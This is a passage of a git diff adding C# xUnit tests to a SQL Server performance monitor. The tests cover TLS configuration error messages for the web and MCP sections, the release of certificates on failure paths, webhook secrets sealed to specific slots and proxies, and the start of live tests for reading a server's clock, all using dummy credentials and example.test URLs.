+       MCP gets its own tls block of the same type, so every message must name the block the operator actually has
+       to edit. The tests above call these members with no section and pin the web texts; their passing UNCHANGED
+       is the proof the default stayed byte-identical, and the exact-text test below nails whole strings because
+       those substring pins would survive a reworded sentence. */
+
+    /* One block per refusal Describe can give; s_webInvalidTexts holds each one's whole web text, in the same order. */
+    private static readonly WebTlsConfig[] s_invalidBlocks =
+    [
+        new WebTlsConfig { PfxPath = "/certs/a.pfx", CertPath = "/certs/a.crt", KeyPath = "/certs/a.key" },
+        new WebTlsConfig { CertPath = "/certs/a.crt" },
+        new WebTlsConfig { KeyPath = "/certs/a.key" },
+        new WebTlsConfig { PfxPassword = "hunter2" },
+        new WebTlsConfig(),
+    ];
+
+    private static readonly string[] s_webInvalidTexts =
+    [
+        "web.network.tls names BOTH a PKCS#12 bundle (pfxPath) and a PEM pair (certPath/keyPath) — set one form or the other, never both, so the certificate actually served is the one you meant.",
+        "web.network.tls sets certPath with no keyPath — a PEM certificate cannot serve TLS without its private key.",
+        "web.network.tls sets keyPath with no certPath — name the PEM certificate that key belongs to.",
+        "web.network.tls sets a PKCS#12 password but no pfxPath — there is no bundle for it to open.",
+        "web.network.tls is present but sets none of pfxPath, certPath or keyPath. Check the key names, or remove the block for plain HTTP.",
+    ];
+
+    private const string WebStrayPasswordWarning =
+        "web.network.tls sets a PKCS#12 password alongside a PEM pair — the PEM pair is being served and the password is ignored. Remove it, or finish setting pfxPath if the bundle was the one you meant.";
+
+    private static string ForMcp(string webText)
+        => webText.Replace("web.network.tls", "mcp.network.tls", StringComparison.Ordinal);
+
+    [Fact]
+    public void Describe_WebSection_RendersTodaysExactTexts()
+    {
+        /* Whole strings, copied from the code as it stood before the section was threaded through. The default
+           section and an explicit "web" must both render them. */
+        for (var i = 0; i < s_invalidBlocks.Length; i++)
+        {
+            Assert.Equal(s_webInvalidTexts[i], DarlingWebTls.Describe(s_invalidBlocks[i]).Problem);
+            Assert.Equal(s_webInvalidTexts[i], DarlingWebTls.Describe(s_invalidBlocks[i], "web").Problem);
+        }
+
+        var stray = new WebTlsConfig { CertPath = "/certs/a.crt", KeyPath = "/certs/a.key", PfxPassword = "left-over" };
+        Assert.Equal(WebStrayPasswordWarning, DarlingWebTls.Describe(stray).Warning);
+        Assert.Equal(WebStrayPasswordWarning, DarlingWebTls.Describe(stray, "web").Warning);
+    }
+
+    [Fact]
+    public void Describe_McpSection_NamesMcpSetting()
+    {
+        for (var i = 0; i < s_invalidBlocks.Length; i++)
+        {
+            var plan = DarlingWebTls.Describe(s_invalidBlocks[i], "mcp");
+
+            /* The decision is the web's decision and only the NAME differs: same refusal, same words. */
+            Assert.Equal(DarlingWebTls.TlsShape.Invalid, plan.Shape);
+            Assert.DoesNotContain("web.network.tls", plan.Problem, StringComparison.Ordinal);
+            Assert.Equal(ForMcp(s_webInvalidTexts[i]), plan.Problem);
+        }
+
+        var stray = new WebTlsConfig { CertPath = "/certs/a.crt", KeyPath = "/certs/a.key", PfxPassword = "left-over" };
+        var warned = DarlingWebTls.Describe(stray, "mcp");
+        Assert.Equal(DarlingWebTls.TlsShape.Pem, warned.Shape);
+        Assert.Null(warned.Problem);
+        Assert.Equal(ForMcp(WebStrayPasswordWarning), warned.Warning);
+
+        /* Absent and usable blocks decide identically under either section: the section is a label, not an input. */
+        foreach (var block in new WebTlsConfig?[]
+        {
+            null,
+            new WebTlsConfig { PfxPath = "/certs/a.pfx" },
+            new WebTlsConfig { CertPath = "/certs/a.crt", KeyPath = "/certs/a.key" },
+        })
+        {
+            Assert.Equal(DarlingWebTls.Describe(block), DarlingWebTls.Describe(block, "mcp"));
+        }
+    }
+
+    [Fact]
+    public void Load_McpSection_NamesMcpSetting()
+    {
+        using var temp = new TempDir();
+        using var generated = SelfSigned();
+
+        var absent = Path.Combine(temp.Path, "absent.pem");
+        var pfx = Path.Combine(temp.Path, "mcp.pfx");
+        File.WriteAllBytes(pfx, generated.Export(X509ContentType.Pkcs12, "hunter2"));
+        var keyless = Path.Combine(temp.Path, "public-only.pfx");
+        File.WriteAllBytes(keyless, new X509Certificate2Collection(
+            X509CertificateLoader.LoadCertificate(generated.Export(X509ContentType.Cert))).Export(X509ContentType.Pkcs12)!);
+        var junk = Path.Combine(temp.Path, "junk.pem");
+        File.WriteAllText(junk, "this is not a PEM file");
+        var realCert = Path.Combine(temp.Path, "mcp.crt");
+        File.WriteAllText(realCert, generated.ExportCertificatePem());
+        const string unsetVariable = "DARLING_TEST_5288_MCP_TLS_UNSET_PFX_PASSWORD";
+
+        /* Every message Load can give that a test can reach, rendered under both sections: the web text is pinned
+           whole, and the MCP text must be that text with only the setting name changed. */
+        AssertLoadFailure(
+            new WebTlsConfig { PfxPath = absent },
+            $"web.network.tls.pfxPath '{absent}' does not exist or is not readable");
+        AssertLoadFailure(
+            new WebTlsConfig { CertPath = absent, KeyPath = absent },
+            $"web.network.tls.certPath '{absent}' does not exist or is not readable");
+        AssertLoadFailure(
+            new WebTlsConfig { CertPath = realCert, KeyPath = absent },
+            $"web.network.tls.keyPath '{absent}' does not exist or is not readable");
+        AssertLoadFailure(
+            new WebTlsConfig { PfxPath = pfx, PfxPassword = "env:" + unsetVariable },
+            "web.network.tls: the PKCS#12 password could not be resolved (web.network.tls.pfxPassword: "
+            + $"environment variable '{unsetVariable}' is not set (or empty or blank) — the referenced secret cannot resolve.)");
+        AssertLoadFailure(
+            new WebTlsConfig { PfxPath = keyless },
+            $"web.network.tls.pfxPath '{keyless}' contains no certificate with a private key — a TLS server "
+            + "certificate must carry its key (export the bundle with the key included).");
+        AssertLoadFailure(
+            new WebTlsConfig { PfxPath = pfx, PfxPassword = "wrong" },
+            webPrefix: $"web.network.tls.pfxPath '{pfx}' could not be loaded (",
+            webSuffix: ") — check the password slot too: Windows reports a wrong PKCS#12 password as unreadable data "
+                + "rather than as a bad password.");
+        AssertLoadFailure(
+            new WebTlsConfig { CertPath = junk, KeyPath = junk },
+            webPrefix: $"web.network.tls: the PEM pair '{junk}' / '{junk}' could not be loaded (",
+            webSuffix: ")");
+
+        /* A shape Describe never returns for a loadable block: the guard names the section too. */
+        var wrongShape = Assert.Throws<InvalidOperationException>(
+            () => DarlingWebTls.Load(new WebTlsConfig(), DarlingWebTls.TlsShape.NotConfigured, "mcp"));
+        Assert.Equal("mcp.network.tls cannot be loaded in shape NotConfigured — Describe() must be consulted first.", wrongShape.Message);
+        var wrongShapeWeb = Assert.Throws<InvalidOperationException>(
+            () => DarlingWebTls.Load(new WebTlsConfig(), DarlingWebTls.TlsShape.NotConfigured));
+        Assert.Equal("web.network.tls cannot be loaded in shape NotConfigured — Describe() must be consulted first.", wrongShapeWeb.Message);
+
+        /* The section never changes what loads: a usable bundle loads the same under "mcp". */
+        var good = new WebTlsConfig { PfxPath = pfx, PfxPassword = "hunter2" };
+        using var loaded = DarlingWebTls.Load(good, DarlingWebTls.Describe(good, "mcp").Shape, "mcp");
+        Assert.True(loaded.Leaf.HasPrivateKey);
+        Assert.Equal(generated.Thumbprint, loaded.Leaf.Thumbprint);
+    }
+
+    [Fact]
+    public void ResolvePfxPassword_McpSection_NamesMcpSetting()
+    {
+        const string unsetVariable = "DARLING_TEST_5288_MCP_TLS_UNSET_PFX_PASSWORD";
+        var unresolvable = new WebTlsConfig { PfxPassword = "env:" + unsetVariable };
+
+        var mcp = Assert.Throws<InvalidOperationException>(() => unresolvable.ResolvePfxPassword(out _, "mcp"));
+        Assert.StartsWith("mcp.network.tls.pfxPassword: ", mcp.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain("web.network.tls", mcp.Message, StringComparison.Ordinal);
+
+        /* No section = the web, exactly as before. */
+        var web = Assert.Throws<InvalidOperationException>(() => unresolvable.ResolvePfxPassword(out _));
+        Assert.StartsWith("web.network.tls.pfxPassword: ", web.Message, StringComparison.Ordinal);
+        Assert.Equal(ForMcp(web.Message), mcp.Message);
+
+        /* A resolvable slot is untouched by the section: same value, same plaintext flag. */
+        var literal = new WebTlsConfig { PfxPassword = "hunter2" };
+        Assert.Equal("hunter2", literal.ResolvePfxPassword(out var usedPlaintext, "mcp"));
+        Assert.True(usedPlaintext);
+
+        /* The DPAPI slot is reachable off Windows only through the platform guard, whose text names the slot. */
+        if (!OperatingSystem.IsWindows())
+        {
+            var encrypted = new WebTlsConfig { EncryptedPfxPassword = "AQAAAsomeblob" };
+            var mcpEx = Assert.Throws<PlatformNotSupportedException>(() => encrypted.ResolvePfxPassword(out _, "mcp"));
+            Assert.StartsWith("mcp.network.tls.encryptedPfxPassword requires Windows (DPAPI);", mcpEx.Message, StringComparison.Ordinal);
+            var webEx = Assert.Throws<PlatformNotSupportedException>(() => encrypted.ResolvePfxPassword(out _));
+            Assert.StartsWith("web.network.tls.encryptedPfxPassword requires Windows (DPAPI);", webEx.Message, StringComparison.Ordinal);
+        }
+    }
+
+    [Theory]
+    [InlineData("Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebTls.cs")]
+    [InlineData("Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs")]
+    public void NoMessage_SpellsTheWebSectionOutright(string relative)
+    {
+        /* A string literal that spells "web.network.tls" would name the WRONG block for MCP, and the one message
+           no behavioral test can reach ("the PEM pair loaded but could not be prepared for the TLS listener") is
+           exactly where that would hide. Comments may name the setting; code builds it from the section. */
+        var offenders = new System.Text.StringBuilder();
+        var lines = ReadSource(relative).Split('\n');
+        for (var i = 0; i < lines.Length; i++)
+        {
+            var line = lines[i].Trim();
+            if (line.StartsWith("//", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var at = line.IndexOf("web.network.tls", StringComparison.Ordinal);
+            if (at > 0 && line.LastIndexOf('"', at) >= 0)
+            {
+                offenders.AppendLine($"{relative}:{i + 1}: {line}");
+            }
+        }
+
+        Assert.True(
+            offenders.Length == 0,
+            "A string literal spells the web section outright; build it as $\"{section}.network.tls...\" instead:"
+            + Environment.NewLine + offenders);
+    }
+
+    private static string LoadMessage(WebTlsConfig config, string section)
+        => Assert.Throws<InvalidOperationException>(
+            () => DarlingWebTls.Load(config, DarlingWebTls.Describe(config, section).Shape, section)).Message;
+
+    /// <summary>Whole-text form: the web message equals <paramref name="webExpected"/>, the default section agrees
+    /// with it, and the MCP message is that text with only the setting name changed.</summary>
+    private static void AssertLoadFailure(WebTlsConfig config, string webExpected)
+    {
+        var web = LoadMessage(config, "web");
+        Assert.Equal(webExpected, web);
+
+        var byDefault = Assert.Throws<InvalidOperationException>(
+            () => DarlingWebTls.Load(config, DarlingWebTls.Describe(config).Shape)).Message;
+        Assert.Equal(web, byDefault);
+
+        var mcp = LoadMessage(config, "mcp");
+        Assert.DoesNotContain("web.network.tls", mcp, StringComparison.Ordinal);
+        Assert.Equal(ForMcp(webExpected), mcp);
+    }
+
+    /// <summary>Prefix-and-suffix form, for a message that embeds the platform's own text between the two.</summary>
+    private static void AssertLoadFailure(WebTlsConfig config, string webPrefix, string webSuffix)
+    {
+        var web = LoadMessage(config, "web");
+        Assert.StartsWith(webPrefix, web, StringComparison.Ordinal);
+        Assert.EndsWith(webSuffix, web, StringComparison.Ordinal);
+
+        var mcp = LoadMessage(config, "mcp");
+        Assert.DoesNotContain("web.network.tls", mcp, StringComparison.Ordinal);
+        Assert.StartsWith(ForMcp(webPrefix), mcp, StringComparison.Ordinal);
+        Assert.EndsWith(webSuffix, mcp, StringComparison.Ordinal);
+        Assert.Equal(ForMcp(web), mcp);
+    }
+
     /* ---- IsConfigured: a tls-only block still counts as a configured network block ---- */
 
     [Fact]
@@ -457,8 +735,14 @@ local browser a name mismatch on the one surface that never leaves the machine.
         var source = ReadSource(Path.Combine(
             "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingWebHostService.cs"));
 
-        Assert.Contains("https.ServerCertificate = listenerCertificate.Value.Leaf;", source, StringComparison.Ordinal);
-        Assert.Contains("https.ServerCertificateChain = listenerCertificate.Value.Chain;", source, StringComparison.Ordinal);
+        /* The HTTPS body moved into the helper both hosts share (#5288 review F5), so the two lines that hand
+           Kestrel the leaf AND the intermediates are pinned where they now live, and the host is pinned to call
+           it with the loaded certificate. */
+        Assert.Contains("DarlingListenerTls.ConfigureHttps(https, listenerCertificate.Value)", source, StringComparison.Ordinal);
+        var shared = ReadSource(Path.Combine(
+            "Darling", "PerformanceMonitor.Darling.Service", "Hosting", "DarlingListenerTls.cs"));
+        Assert.Contains("https.ServerCertificate = certificate.Leaf;", shared, StringComparison.Ordinal);
+        Assert.Contains("https.ServerCertificateChain = certificate.Chain;", shared, StringComparison.Ordinal);
         Assert.Contains("options.Listen(IPAddress.Loopback, effectivePort);", source, StringComparison.Ordinal);
         Assert.Contains("options.Listen(IPAddress.IPv6Loopback, effectivePort);", source, StringComparison.Ordinal);
 
@@ -474,9 +758,11 @@ LAN client cannot reach this dashboard by DNS name at all — which makes a DNS-
            certificate, the normal thing an internal CA issues, permanently unusable here. Without this check
            the operator learns that from a browser warning instead of from the service log. */
         var source = ReadSource(Path.Combine(
-            "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingWebHostService.cs"));
+            "Darling", "PerformanceMonitor.Darling.Service", "Hosting", "DarlingListenerTls.cs"));
 
-        Assert.Contains("DarlingManagedPostgres.CertificateSanCoversIp(certificate, networkListenIp)", source, StringComparison.Ordinal);
+        /* The check moved into the shared start path with the rest of the TLS block (#5288); its subject is
+           unchanged, and the parameter that was the web's networkListenIp is the helper's listenIp. */
+        Assert.Contains("DarlingManagedPostgres.CertificateSanCoversIp(certificate, listenIp)", source, StringComparison.Ordinal);
         Assert.Contains("iPAddress SAN", source, StringComparison.Ordinal);
     }
 
@@ -516,17 +802,35 @@ public void EveryTlsBailPath_ReleasesTheCertificate()
            field, unused, until the next full stop. The invariant the class doc claims is that every bail path
            releases the key, so pin that the catch actually does it. */
         var source = ReadSource(Path.Combine(
-            "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingWebHostService.cs"));
+            "Darling", "PerformanceMonitor.Darling.Service", "Hosting", "DarlingListenerTls.cs"));
 
+        /* The block moved into DarlingListenerTls.Resolve (#5288). It owns the certificate it loaded until it
+           returns, so the release is of the LOCAL, not of a host field, in the catch and on the lifetime refusal. */
         var catchAt = source.IndexOf(
-            "\"Web dashboard TLS certificate could not be loaded ({Message})", StringComparison.Ordinal);
+            "\"{Surface} TLS certificate could not be loaded ({Message})", StringComparison.Ordinal);
         Assert.True(catchAt > 0, "the TLS load catch is gone — this pin needs rewriting");
 
         /* The release must come BEFORE the log line in that catch, which is the whole point of the ordering. */
         var window = source[..catchAt];
-        var release = window.LastIndexOf("_serverCertificate?.Dispose();", StringComparison.Ordinal);
-        var adoption = window.LastIndexOf("_serverCertificate = loaded;", StringComparison.Ordinal);
-        Assert.True(release > adoption, "the TLS load catch no longer disposes the already-adopted certificate");
+        var release = window.LastIndexOf("loaded?.Dispose();", StringComparison.Ordinal);
+        var load = window.LastIndexOf("loaded = DarlingWebTls.Load(", StringComparison.Ordinal);
+        Assert.True(release > load, "the TLS load catch no longer disposes the already-loaded certificate");
+
+        var refusalAt = source.IndexOf(
+            "\"{Surface} TLS certificate cannot be used ({Refusal})", StringComparison.Ordinal);
+        Assert.True(refusalAt > 0, "the lifetime refusal is gone — this pin needs rewriting");
+        Assert.True(
+            source[..refusalAt].LastIndexOf("loaded.Value.Dispose();", StringComparison.Ordinal) > load,
+            "the lifetime refusal no longer disposes the certificate it refuses");
+
+        /* And the host adopts what comes back at once, before the first bail path after the TLS call. */
+        var host = ReadSource(Path.Combine(
+            "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingWebHostService.cs"));
+        var call = host.IndexOf("DarlingListenerTls.Resolve(", StringComparison.Ordinal);
+        var adopted = host.IndexOf("_serverCertificate = tlsOutcome.Certificate;", StringComparison.Ordinal);
+        var firstBail = host.IndexOf("PortUtilityService.IsTcpPortListeningAsync(", StringComparison.Ordinal);
+        Assert.True(call > 0 && adopted > call && firstBail > adopted, "the host no longer adopts the certificate before its bail paths");
+        Assert.Contains("tlsOutcome.ExposesWithoutItsCertificate", host, StringComparison.Ordinal);
     }
 
     /* ---- helpers ---- */
diff --git a/Darling/Darling.Tests/DarlingWebhookSecretsTests.cs b/Darling/Darling.Tests/DarlingWebhookSecretsTests.cs
new file mode 100644
index 0000000000..5f5361d7e2
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingWebhookSecretsTests.cs
@@ -0,0 +1,265 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5366: the service opens the webhook URLs, the PagerDuty routing key and the generic headers that the store holds
+/// sealed. A value opens only in the slot, row, proxy and (for the headers) generic URL it was sealed for. A value that
+/// will not open turns its channel off and says so in the channel's health text, without the value in it.
+/// </summary>
+public sealed class DarlingWebhookSecretsTests
+{
+    private const string TeamsUrl = "https://example.test/teams-not-real";
+    private const string GenericUrl = "https://example.test/generic-not-real";
+    private const string Headers = "{\"Authorization\":\"Bearer not-real\"}";
+    private const string Proxy = "http://proxy.example:8080";
+
+    private static string Seal(PasswordPrivateKey key, string value, string slot, string row, string proxy = "", string url = "") =>
+        PasswordSeal.Seal(value, key.PublicKey, PasswordBinding.ForWebhook(slot, row, proxy, url));
+
+    private static DarlingAlertSettings Settings(DarlingConfig config, PasswordPrivateKey? key) =>
+        new(config, null, key is null ? DarlingPasswordKey.Refusing("The password key is not available here.") : DarlingPasswordKey.FromPrivateKey(key));
+
+    [Fact]
+    public void SealedValuesOnTheSettingsRow_OpenForTheirSlot()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var generic = Seal(key, GenericUrl, "generic", "notification", Proxy);
+        var config = new DarlingConfig();
+        config.Webhooks.TeamsUrl = Seal(key, TeamsUrl, "teams", "notification");
+        config.Webhooks.GenericUrl = generic;
+        config.Webhooks.GenericProxy = Proxy;
+        config.Webhooks.GenericHeaders = Seal(key, Headers, "generic_headers", "notification", Proxy, generic);
+        config.Webhooks.PagerDutyRoutingKey = Seal(key, "pd-key-not-real", "pagerduty", "notification");
+
+        var settings = Settings(config, key);
+
+        Assert.True(settings.TeamsWebhookEnabled);
+        Assert.Equal(TeamsUrl, settings.TeamsWebhookUrl);
+        Assert.Equal(GenericUrl, settings.GenericWebhookUrl);
+        Assert.Equal(Headers, settings.GenericWebhookHeadersJson);
+        Assert.Equal("pd-key-not-real", settings.PagerDutyRoutingKey);
+        Assert.False(settings.SlackWebhookEnabled);
+        Assert.Empty(settings.WebhookChannelProblems);
+    }
+
+    [Fact]
+    public void LegacyPlaintextValues_StillRead_EvenWhenTheKeyIsNotAvailable()
+    {
+        var config = new DarlingConfig();
+        config.Webhooks.SlackUrl = "https://example.test/slack-not-real";
+        config.NotificationRoutes = new[] { new NotificationRoute(1, "High CPU", "https://example.test/route-teams", "", "", "", "", true) };
+
+        var settings = Settings(config, null);
+
+        Assert.Equal("https://example.test/slack-not-real", settings.SlackWebhookUrl);
+        Assert.Equal("https://example.test/route-teams", settings.NotificationRoutes.Single().TeamsUrl);
+        Assert.Empty(settings.WebhookChannelProblems);
+    }
+
+    [Fact]
+    public void ASealedTeamsUrlCopiedToARoute_DoesNotOpen_AndTheRouteSendsNothingToTeams()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var sealedForSettings = Seal(key, TeamsUrl, "teams", "notification");
+        var config = new DarlingConfig();
+        config.Webhooks.TeamsUrl = sealedForSettings;
+        config.NotificationRoutes = new[] { new NotificationRoute(3, "High CPU", sealedForSettings, "", "", "", "", true) };
+
+        var settings = Settings(config, key);
+
+        Assert.Equal(TeamsUrl, settings.TeamsWebhookUrl);
+        Assert.Equal("", settings.NotificationRoutes.Single().TeamsUrl);
+        /* The route's own Teams destination is off: the alert is not sent to the settings row's Teams URL instead (#5366). */
+        var decision = NotificationRouter.Resolve("High CPU", settings.NotificationRoutes, settings);
+        Assert.False(decision.Teams.IsDelivered);
+        Assert.Null(decision.Teams.Destination);
+        var problem = Assert.Single(settings.WebhookChannelProblems);
+        Assert.Equal(
+            "The Teams webhook URL of route 3 could not be opened: it was saved for a different place or proxy, or was changed. Enter it again in Settings.",
+            problem);
+        Assert.DoesNotContain("example.test", problem, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ARouteValueThatWillNotOpen_TurnsOffOnlyThatChannelOfThatRoute()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var config = new DarlingConfig();
+        config.Webhooks.TeamsUrl = Seal(key, TeamsUrl, "teams", "notification");
+        config.Webhooks.SlackUrl = "https://example.test/slack-parent-not-real";
+        config.NotificationRoutes = new[]
+        {
+            new NotificationRoute(3, "High CPU", Seal(key, TeamsUrl, "teams", "notification"), "", "", "", "", true),
+            new NotificationRoute(4, "Low Memory", "", "https://example.test/slack-route-not-real", "", "", "", true),
+        };
+
+        var settings = Settings(config, key);
+
+        var off = NotificationRouter.Resolve("High CPU", settings.NotificationRoutes, settings);
+        Assert.False(off.Teams.IsDelivered);
+        /* A channel the route never set still inherits the parent. */
+        Assert.Equal("https://example.test/slack-parent-not-real", off.Slack.Destination);
+        /* The other route is unaffected, and a metric the broken route does not match still reaches the parent. */
+        Assert.Equal("https://example.test/slack-route-not-real", NotificationRouter.Resolve("Low Memory", settings.NotificationRoutes, settings).Slack.Destination);
+        Assert.Equal(TeamsUrl, NotificationRouter.Resolve("Low Memory", settings.NotificationRoutes, settings).Teams.Destination);
+    }
+
+    [Fact]
+    public void ARouteValueThatWillNotOpen_IsLoggedOnce_AcrossRepeatedReads()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var config = new DarlingConfig();
+        config.NotificationRoutes = new[]
+        {
+            new NotificationRoute(3, "High CPU", Seal(key, TeamsUrl, "teams", "notification"), "", "", "", "", true),
+        };
+        var logger = new CapturingLogger();
+        var settings = new DarlingAlertSettings(config, logger, DarlingPasswordKey.FromPrivateKey(key));
+
+        _ = settings.NotificationRoutes;
+        _ = settings.NotificationRoutes;
+        _ = settings.WebhookChannelProblems;
+
+        Assert.Equal(1, logger.Errors.Count(m => m.Contains("route 3", StringComparison.Ordinal)));
+    }
+
+    private sealed class CapturingLogger : Microsoft.Extensions.Logging.ILogger
+    {
+        public System.Collections.Generic.List<string> Errors { get; } = new();
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(Microsoft.Extensions.Logging.LogLevel logLevel) => true;
+
+        public void Log<TState>(Microsoft.Extensions.Logging.LogLevel logLevel, Microsoft.Extensions.Logging.EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+        {
+            if (logLevel == Microsoft.Extensions.Logging.LogLevel.Error)
+            {
+                Errors.Add(formatter(state, exception));
+            }
+        }
+    }
+
+    [Fact]
+    public void ARouteValueSealedForItsOwnRow_Opens()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var config = new DarlingConfig();
+        config.Webhooks.SlackProxy = Proxy;
+        config.NotificationRoutes = new[]
+        {
+            new NotificationRoute(5, "High CPU", "", Seal(key, "https://example.test/slack-route", "slack", "route:5", Proxy), "", "", "", true),
+        };
+
+        var settings = Settings(config, key);
+
+        Assert.Equal("https://example.test/slack-route", settings.NotificationRoutes.Single().SlackUrl);
+        Assert.Empty(settings.WebhookChannelProblems);
+    }
+
+    [Fact]
+    public void TheGenericHeaders_StopOpening_WhenTheGenericUrlChanges()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var firstUrl = Seal(key, GenericUrl, "generic", "notification");
+        var headers = Seal(key, Headers, "generic_headers", "notification", "", firstUrl);
+        var config = new DarlingConfig();
+        config.Webhooks.GenericUrl = Seal(key, "https://example.test/other-not-real", "generic", "notification");
+        config.Webhooks.GenericHeaders = headers;
+        config.NotificationRoutes = new[] { new NotificationRoute(2, "High CPU", "", "", "https://example.test/route-generic", "", "", true) };
+
+        var settings = Settings(config, key);
+
+        Assert.False(settings.GenericWebhookEnabled);
+        Assert.Equal("", settings.GenericWebhookUrl);
+        Assert.Equal("", settings.GenericWebhookHeadersJson);
+        Assert.Equal("", settings.NotificationRoutes.Single().GenericUrl);
+        Assert.Equal(
+            "The generic webhook headers could not be opened: it was saved for a different place or proxy, or was changed. Enter it again in Settings.",
+            Assert.Single(settings.WebhookChannelProblems));
+    }
+
+    [Fact]
+    public void AChangedProxy_NeedsTheValueAgain()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var config = new DarlingConfig();
+        config.Webhooks.TeamsUrl = Seal(key, TeamsUrl, "teams", "notification", Proxy);
+        config.Webhooks.TeamsProxy = "http://other-proxy.example:3128";
+
+        var settings = Settings(config, key);
+
+        Assert.False(settings.TeamsWebhookEnabled);
+        Assert.StartsWith("The Teams webhook URL could not be opened: ", Assert.Single(settings.WebhookChannelProblems), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AValueSealedToAnotherKey_TurnsTheChannelOffAndNamesTheKey()
+    {
+        using var other = PasswordPrivateKey.Generate();
+        using var key = PasswordPrivateKey.Generate();
+        var config = new DarlingConfig();
+        config.Webhooks.PagerDutyRoutingKey = Seal(other, "pd-key-not-real", "pagerduty", "notification");
+
+        var settings = Settings(config, key);
+
+        Assert.False(settings.PagerDutyEnabled);
+        var problem = Assert.Single(settings.WebhookChannelProblems);
+        Assert.StartsWith("The PagerDuty routing key could not be opened: it was sealed to password key ", problem, StringComparison.Ordinal);
+        Assert.EndsWith(", which this service does not have. Enter it again in Settings.", problem, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void WithoutAKey_ASealedValueTurnsItsChannelOff_AndTheReasonIsTheKeysOwn()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var config = new DarlingConfig();
+        config.Webhooks.SlackUrl = Seal(key, "https://example.test/slack-not-real", "slack", "notification");
+
+        var settings = Settings(config, null);
+
+        Assert.False(settings.SlackWebhookEnabled);
+        Assert.Equal(
+            "The Slack webhook URL could not be opened: The password key is not available here.",
+            Assert.Single(settings.WebhookChannelProblems));
+    }
+
+    [Fact]
+    public void TheOpenedValues_FollowAChangeToTheStoredSettings()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var config = new DarlingConfig();
+        var settings = Settings(config, key);
+        Assert.False(settings.TeamsWebhookEnabled);
+
+        config.Webhooks.TeamsUrl = Seal(key, TeamsUrl, "teams", "notification");
+
+        Assert.True(settings.TeamsWebhookEnabled);
+        Assert.Equal(TeamsUrl, settings.TeamsWebhookUrl);
+    }
+
+    [Fact]
+    public void AnEmptyRoutesListAndWebhookSettings_OpenToNothing()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var opened = DarlingWebhookSecrets.Open(new WebhooksConfig(), Array.Empty<NotificationRoute>(), DarlingPasswordKey.FromPrivateKey(key));
+
+        Assert.Empty(opened.Failures);
+        Assert.Empty(opened.Routes);
+        Assert.Equal("", opened.Webhooks.TeamsUrl);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingWorkerServerClockLiveTests.cs b/Darling/Darling.Tests/DarlingWorkerServerClockLiveTests.cs
new file mode 100644
index 0000000000..06ccc16e9c
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingWorkerServerClockLiveTests.cs
@@ -0,0 +1,226 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4938: the worker's read of a server's clock (<see cref="DarlingWorker.TryReadServerClockAsync"/>) against a migrated
+/// store, for a SQL Server target (its newest <c>server_properties</c> row that has an offset) and a PostgreSQL target
+/// (its newest server-wide <c>TimeZone</c> row in <c>pg_server_config</c>). A collector's run time is a time on that
+/// clock, so a clock that reads as UTC while the server keeps another zone moves the collector's slot by the server's
+/// offset. The read answers from the newest row however old that row is: a server whose snapshots stopped a week or
+/// a season ago still has the clock it last reported, and only a server with no row at all reads as UTC.
+/// </summary>
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches the shared
+   store's tables, so it cannot race the live collection and serializing it would be pure slowdown. */
+public sealed class DarlingWorkerServerClockLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the worker's server clock read against a store (each fact mints its own scratch database).";
+
+    private const string NewYork = "America/New_York";
+    private const string Tokyo = "Asia/Tokyo";
+    private const string Paris = "Europe/Paris";
+    private const string Kolkata = "Asia/Kolkata";
+    private const string Chicago = "America/Chicago";
+
+    private static string IdOf(string zone) => ServerClock.Resolve(zone, null).AsTimeZone().Id;
+
+    private static string IdOfOffset(int offsetMinutes) => ServerClock.Resolve(null, offsetMinutes).AsTimeZone().Id;
+
+    /// <summary>A machine whose zone database cannot name an IANA zone resolves every one of them to UTC, and a test
+    /// that compares against UTC proves nothing there.</summary>
+    private static bool ResolvesIanaZones() =>
+        IdOf(NewYork) != TimeZoneInfo.Utc.Id && IdOf(Tokyo) != TimeZoneInfo.Utc.Id
